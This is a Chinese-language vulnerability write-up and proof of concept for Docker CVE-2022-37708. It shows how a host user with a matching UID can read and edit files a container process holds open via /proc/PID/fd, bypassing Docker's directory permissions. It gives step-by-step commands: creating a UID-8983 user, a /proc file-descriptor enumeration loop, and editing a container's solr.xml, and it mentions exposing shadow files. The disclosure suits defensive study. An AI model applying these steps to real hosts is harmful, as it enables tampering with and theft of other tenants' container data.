Docker CVE-2022-37708。
此漏洞利用依赖于 UNIX 文件系统在 Docker 共享文件时设置 UID 和 GID 的方式,这些文件在运行 Docker 的宿主机与被 Docker 容器内运行的客户端之间共享,同时也依赖于进程 ID 所有权的工作原理。
这几乎可以用任何支持文件描述符访问的语言完成。
/proc/ 目录恰好暴露了这一点,因此使用 shell 命令非常容易执行。
假设有一台计算机为多个用户提供电子邮件服务。 该电子邮件服务在宿主机上运行于 Docker 内部的一个自包含发行版中。 该自包含发行版被视为“客户端系统”。 运行 Docker 的系统被视为“宿主机系统”。 “宿主机系统”上有不同的服务,例如用于提供消息总线的“DBUS”。 出于安全考虑,“DBUS”消息总线以非特权用户“messagebus”身份运行,UID 为 123。 “messagebus”用户无权访问 Docker,也无权访问“客户端系统”。 出于安全考虑,“客户端系统”以非 root 用户“emailservice”身份运行电子邮件处理,UID 为 123。
注意我为“messagebus”指定了 UID 123,也为“emailservice”指定了 UID 123。 这通常不是问题,因为它们是两个独立的系统(“客户端系统”和“宿主机系统”),它们的 UID 和用户映射互不相关。
如果在某个时间点,“emailservice”打开了一个随机电子邮件进行处理,那么“messagebus”就有机会看到并编辑该文件。由于“messagebus”用户完全在“客户端系统”之外,因此“客户端系统”永远不会知道此文件可能被读取和写入。
如果“emailservice”读取了系统的 shadow 文件来验证某些用户名和密码组合,那就会更加危险。 在“客户端系统”内该文件被打开的持续时间内,“messagebus”将对该文件拥有完全的读写权限。
执行该漏洞利用的一种简单方法是 PID 拨号 /proc/ 目录下的 pid 文件。
一个简单的无限循环 bash 脚本可以定期查找正在被打开的文件。
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
该漏洞利用有两个关键部分使其难以利用:
对于第一种情况,无限循环和一些脚本技巧可以缓解。 对于第二种情况,特制的发行版或众所周知的发行版可以消除运气因素。如果系统具有预定义的 UID,那么应该可以预测出“客户端系统”外部需要什么 UID。
使用 Vagrant Debian-10 (Buster) 虚拟机作为“宿主机系统”来测试漏洞:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
在“宿主机系统”内,获取最新版本的 Docker 并按照以下说明操作:
示例“客户端系统”是 Github 上一个托管开源产品 DSpace 的 docker-compose 文件:
现在克隆 DSpace,并运行 docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
该项目创建了多个镜像,但我们专注于 "dspace_solr_data"。
确认目录遍历受到保护:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
查看我想要利用的文件:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
这表明我们的幸运用户需要恰好拥有 UID 8983 才能利用此漏洞。
创建这个幸运用户,并称他为 "Lightman"。
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
现在来看看这些文件:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
要让 Lightman 利用此漏洞,Lightman 不仅需要拥有这些文件,而且“客户端系统”__内__的某个进程必须已打开这些文件。
为了证明此漏洞,我们将在“客户端系统”内对 solr.xml 文件使用 tail -F。
在另一个终端中(以 vagrant 用户身份登录到宿主机系统)执行此操作。
找出正确的容器:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
现在连接到 solr:8.11-slim。
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr 用户确实拥有 UID 8983。
现在打开 solr.xml 文件并保持其打开状态。
# tail -F /var/solr/data/solr.xml
很好,一切准备就绪,Lightman 用户可以进行战争拨号查找文件描述符了。
在另一个终端中(以 vagrant 用户身份登录到宿主机系统),切换到 Lightman 用户。
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
使用 /proc 拨号所有打开的文件描述符:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
如你所见,我们有两个匹配项:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
注意,路径 /var/solr/data/solr.xml 实际上并不存在于“宿主机系统”上。
请密切关注运行 tail -F 的终端窗口,然后进行以下操作。
通过直接打开 proc 路径来编辑文件:
# vim /proc/12683/fd/3
我滚动到文件底部,写入 Hello World,然后保存更改。
你应该会在“客户端系统”内看到该文件也同步更新了。
Lightman 成功编辑了一个他既没有正常读写权限也没有任何目录遍历访问权限的文件。 该文件实际上位于一个运行不同发行版(其上没有名为 "Lightman" 的用户)的 Docker 客户端内。